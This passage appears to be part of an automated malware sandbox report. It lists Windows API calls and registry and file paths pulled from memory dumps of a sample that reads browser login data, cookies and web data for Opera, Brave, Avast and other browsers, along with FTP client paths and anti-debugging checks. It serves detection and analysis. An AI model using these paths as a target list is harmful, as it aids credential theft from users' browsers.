00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.09A70000.00000004.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp, 00000000-00002344.00000003.153126.09C20000.00000004.mdmp, 00000000-00002344.00000003.153126.09CBC000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000003.153126.088A2000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.09777000.00000004.mdmp, 00000000-00002344.00000002.149897.09777000.00000004.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp, 00000000-00002344.00000003.153126.09777000.00000004.mdmp, 00000000-00002344.00000003.153126.09C20000.00000004.mdmp, 00000000-00002344.00000003.153126.09CBC000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp, 00000000-00002344.00000003.153126.09C20000.00000004.mdmp, 00000000-00002344.00000003.153126.09CBC000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp, 00000000-00002344.00000003.153126.09C20000.00000004.mdmp, 00000000-00002344.00000003.153126.09CBC000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000003.153126.088A2000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000002.149897.6F161000.00000020.mdmp, 00000000-00002344.00000003.153126.09C20000.00000004.mdmp, 00000000-00002344.00000003.153126.09CBC000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp, 00000000-00002344.00000003.153126.09C20000.00000004.mdmp, 00000000-00002344.00000003.153126.09CBC000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp, 00000000-00002344.00000003.153126.09C20000.00000004.mdmp, 00000000-00002344.00000003.153126.09CBC000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp, 00000000-00002344.00000003.153126.09C20000.00000004.mdmp, 00000000-00002344.00000003.153126.09CBC000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp, 00000000-00002344.00000003.153126.09C20000.00000004.mdmp, 00000000-00002344.00000003.153126.09CBC000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp, 00000000-00002344.00000003.153126.09C20000.00000004.mdmp, 00000000-00002344.00000003.153126.09CBC000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp, 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found reference to API (Indicator: "Local State"; Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp") Found reference to API (Indicator: "InitializeProcThreadAttributeList"; Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp, 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp, 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp, 00000000-00002344.00000003.153126.09C20000.00000004.mdmp, 00000000-00002344.00000003.153126.09CBC000.00000002.mdmp") Found reference to API (Indicator: "UpdateProcThreadAttribute"; Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp, 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp")3b:T5fb2,"Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 37603-159-00DFD560 "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 37603-194-00DF8190 "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 37603-194-00DF8190 "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 37603-194-00DF8190 "SOFTWARE\Microsoft\PowerShell\3" in Source: 37603-196-00DFBFA2 "SOFTWARE\Microsoft\PowerShell" in Source: 37603-207-00DF8AF0 "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002344.00000000.146055.00640000.00000004.mdmp 00000000-00002344.00000001.147976.00640000.00000004.mdmp 00000000-00002344.00000002.149897.00640000.00000004.mdmp 00000000-00002344.00000003.153126.00640000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002344.00000000.146055.00640000.00000004.mdmp 00000000-00002344.00000001.147976.00640000.00000004.mdmp 00000000-00002344.00000002.149897.00640000.00000004.mdmp 00000000-00002344.00000003.153126.00640000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00002344.00000000.146055.00DF1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00002344.00000000.146055.00DF1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00002344.00000000.146055.00DF1000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00002344.00000000.146055.00DF1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00002344.00000000.146055.00DF1000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00002344.00000000.146055.00DF1000.00000020.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00002344.00000000.146055.04A50000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Default\Network\Cookies" in Source: 00000000-00002344.00000001.147976.00640000.00000004.mdmp 00000000-00002344.00000002.149897.00640000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable\Default\Network\Cookies" in Source: 00000000-00002344.00000001.147976.00640000.00000004.mdmp 00000000-00002344.00000002.149897.00640000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Web Data" in Source: 00000000-00002344.00000001.147976.00640000.00000004.mdmp 00000000-00002344.00000002.149897.00640000.00000004.mdmp "\Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00002344.00000001.147976.00640000.00000004.mdmp 00000000-00002344.00000002.149897.00640000.00000004.mdmp 00000000-00002344.00000003.153126.00640000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Default\Login Data For Account" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp 00000000-00002344.00000002.149897.076F0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\AVAST Software\Browser\User Data\Default\Login Data For Account" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp 00000000-00002344.00000002.149897.076F0000.00000004.mdmp 00000000-00002344.00000003.153126.076F0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Network\Cookies" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp 00000000-00002344.00000002.149897.076F0000.00000004.mdmp "??\C:\Users\Default User\AppData\Local\INSoftware\NovaFTP" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp 00000000-00002344.00000002.149897.076F0000.00000004.mdmp "??\C:\Users\.NET v4.5\AppData\Local\BraveSoftware\Brave-Browser\User Data\Local State" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp 00000000-00002344.00000002.149897.076F0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Default\Web Data" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp 00000000-00002344.00000002.149897.076F0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp 00000000-00002344.00000002.149897.076F0000.00000004.mdmp 00000000-00002344.00000003.153126.076F0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp 00000000-00002344.00000002.149897.076F0000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.076F0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp 00000000-00002344.00000003.153126.076F0000.00000004.mdmp 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp 00000000-00002344.00000002.149897.076F0000.00000004.mdmp 00000000-00002344.00000003.153126.076F0000.00000004.mdmp "\Local\AVAST Software\Browser\User Data" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp 00000000-00002344.00000002.149897.076F0000.00000004.mdmp 00000000-00002344.00000003.153126.076F0000.00000004.mdmp "\Roaming\Opera Software\Opera Stable" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp 00000000-00002344.00000002.149897.076F0000.00000004.mdmp 00000000-00002344.00000003.153126.076F0000.00000004.mdmp "\Roaming\Opera Software\Opera GX Stable" in Source: 00000000-00002344.00000001.147976.076F0000.00000004.mdmp 00000000-00002344.00000002.149897.076F0000.00000004.mdmp 00000000-00002344.00000003.153126.076F0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\INSoftware\NovaFTP" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "stry\Machine\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable\Default\Login Data For Account" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\urbrowser.exe" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "??\C:\Users\Classic .NET AppPool\AppData\Roaming\Opera Software\Opera GX Stable\Local State" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\chedot.exe" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp "??\C:\Users\Classic .NET AppPool\AppData\Local\AVAST Software\Browser\User Data\Local State" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\vivaldi.exe" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "??\C:\Users\.NET v4.5 Classic\AppData\Local\Opera Software\Opera Neon\User Data\Local State" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Network\Cookies" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\..\Application\opera.exe" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Local State" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "??\C:\Users\Default\AppData\Roaming\Opera Software\Opera Stable\Local State" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\opera.exe" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Login Data For Account" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\mullvadbrowser.exe" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\ElementsBrowser.exe" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable\Default\Web Data" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default" in Source: 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp 